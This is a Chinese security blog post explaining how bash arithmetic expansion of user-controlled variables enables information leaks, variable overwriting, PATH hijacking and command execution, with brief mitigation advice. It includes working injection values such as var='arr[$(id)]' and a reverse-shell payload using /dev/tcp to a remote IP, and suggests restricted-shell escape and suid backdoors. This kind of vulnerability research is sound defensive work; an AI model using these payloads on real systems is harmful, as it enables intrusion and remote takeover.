从算数扩展到 RCE

算数扩展导致的 RCE,有趣,可惜利用场景比较少见。

起源

大家在初三的时候就知道了 shell 可以通过 $变量名 来实现引用变量
。举例 I=$(whoami); echo "I am $I",结果是 I am Macr0phag3

与之对应的还有一个特性,官方名字应该是 算术扩展(Arithmetic Expansion),参考链接

但有一个限制,即表达式中的元素必须是数字、算数函数或者变量,如果不符合会报错。可以用的算术符可以参考这个

最后得到的值也是数字。若传入的是字符串,则会得到为 0;如果字符串含有非字母,则会报错:

1
2
3
4
5
6
7
8
➜ ~ a=1; echo $((a))
1
➜ ~ a="a"; echo $((a))
bash: a: expression recursion level exceeded (error token is "a")
➜ ~ a="A"; echo $((a))
0
➜ ~ a=":A"; echo $((a))
bash: :A: syntax error: operand expected (error token is ":A")

所以这到底有什么用呢?别着急,来看些例子。

信息泄露

1
2
3
4
5
6
7
8
9
10
#!/bin/bash

echo $var

if (( var == 0 ))
then
echo "zero"
else
echo "not zero"
fi

运行:

1
2
3
➜ ~ var='PATH' ./test.sh
PATH
./test.sh: line 5: ((: /usr/home/macr0phag3...

报错会带出 PATH 里的内容。可见 (( var == 0 )) 会展开里面的内容,并且实际上还是递归的。

变量覆盖

递归展开,例如这个变量覆盖的例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#!/bin/bash

code=404
echo $var
echo $username

if (( var == 0 ))
then
echo "zero"
else
echo "not zero"
fi

if [[ $code == 200 ]]
then
echo "pass"
else
echo "access denied"
fi

运行
1
2
3
4
5
6
7
8
9
10
➜ ~ ./test.sh

404
zero
access denied
➜ ~ var='code=200' ./test.sh
code=200
404
not zero
pass

递归展开了 var='username=200',从而改变了看似无法改变的 username 的值。当然,递归展开的时候,得到的值也只会是数字,所以 username 最后会是数字。

既然能够覆盖变量,那么覆盖一个 PATH 也是手到擒来,这会导致命令替换,从而执行任意命令。假设有以下脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
#!/bin/bash

if (( var == 0 ))
then
echo "zero"
else
echo "not zero"
fi

# ...
id

# ...

这个脚本执行了 id。那么我们可以通过覆盖 PATH,使得这个脚本在执行的时候变成执行我们秘制的 id
1
2
3
4
5
6
➜ ~ md 0
➜ ~ echo 'echo "hacked by Macr0phag3"' > ./0/id
➜ ~ chmod +x ./0/id
➜ ~ var='PATH=0' ./test.sh
zero
hacked by Macr0phag3

0 可以换为任意数字)

可惜的是,这个利用场景有点苛刻,要满足:

  1. 源脚本在算术扩展后执行了一个命令
  2. 能在源脚本运行的目录下创建目录 0
  3. 能够在 0 下面创建同名的恶意脚本

命令执行

覆盖 PATH 实现的命令执行,可以,但是不够舒服。如果在算式中使用数组,并且索引为命令,那么在算术扩展的时候会将该命令替换为命令执行的结果,从而实现命令执行:

1
2
3
4
5
6
7
8
9
10
#!/bin/bash

echo $var

if (( var == 0 ))
then
echo "zero"
else
echo "not zero"
fi

运行:
1
2
3
4
5
6
➜ ~ var='arr[$(id)]' ./test.sh
arr[$(id)]
/usr/home/macr0phag3/test.sh: line 5: uid=1087(macr0phag3) gid=1088(macr0phag3) groups=1088(macr0phag3): syntax error in expression (error token is "(macr0phag3) gid=1088(macr0phag3) groups=1088(macr0phag3)")
➜ ~ var='arr[$(whoami)]' bash ~/test.sh
arr[$(whoami)]
zero

由于算术扩展的输入是字母类型,所以只有在命令的结果含有特殊字符的时候才有回显,所以可以拼一个特殊字符是它报错:
1
2
3
➜ ~ var='arr[:$(whoami)]' ./test.sh
arr[:$(whoami)]
/usr/home/macr0phag3/test.sh: line 5: :macr0phag3: syntax error: operand expected (error token is ":macr0phag3")

还可以这样,让命令的输出走 stderr:

1
2
3
4
➜ ~ var='arr[0$(whoami>&2)]' ./test.sh
arr[0$(whoami>&2)]
macr0phag3
zero

这样 0$(whoami>&2) 实际上就是 0,可以避免报错。不懂的话,可以看这个,更加直观一些:
1
2
3
➜ ~ var='arr[0$(whoami>&2)]' ./test.sh 2>/dev/null
arr[0$(whoami>&2)]
zero

虽然可以避免报错,但是由于命令输出走的是 stderr,不一定会回显到应用上。

不过说实话,都能执行任意命令了,其实无所谓输出不输出,反弹 shell 完事:

1
var='arr[$(bash -i >& /dev/tcp/10.xx.xx.xx/2333)]' ./test.sh

利用场景

可被用于算术扩展的语句不止 if (( var == 0 )),还可以是 if [[ $var -lt 0 ]]if [ -v "$var" ]echo "$((var))"。有这个缺陷的也不止 bash,例如 zsh 也有类似的问题,比如 echo "$((var))"。不过那三个 if 我试了一下不太行:

1
2
3
4
5
6
➜ ~ var='arr[0$(whoami)]' bash ./test.sh
arr[0$(whoami)]
./test.sh: line 5: 0macr0phag3: value too great for base (error token is "0macr0phag3")
➜ ~ var='arr[0$(whoami)]' zsh ./test.sh
arr[0$(whoami)]
not zero

最后,总的来说,这个利用方式其实比较少见。可能的利用场景,例如:

  1. 执行用户可控环境变量的固定脚本。例如 url 中某个参数给用户提供了环境变量修改的权限,例如执行脚本时的语言(LC_CTYPE 之类的)。这种情况下有机会造成命令执行。
  2. 受限的 shell 环境,或许能够通过这个方法进行逃逸。
  3. 结合 suid 进行提权。可以通过这个来留提权的后门,不过现在大部分的 shell 都不会理会 shell 脚本的 suid。

解决方案

目前我还没找到通用的解决方案,恐怕只能通过避免使用这些会进行算术扩展的语句,如果非得使用,可以对输入进行消毒处理。


来呀快活呀


从算数扩展到 RCE
https://www.tr0y.wang/2020/08/17/Arithmetic-Expansion-to-RCE/
作者
Tr0y
发布于
2020年8月17日
更新于
2024年4月19日
许可协议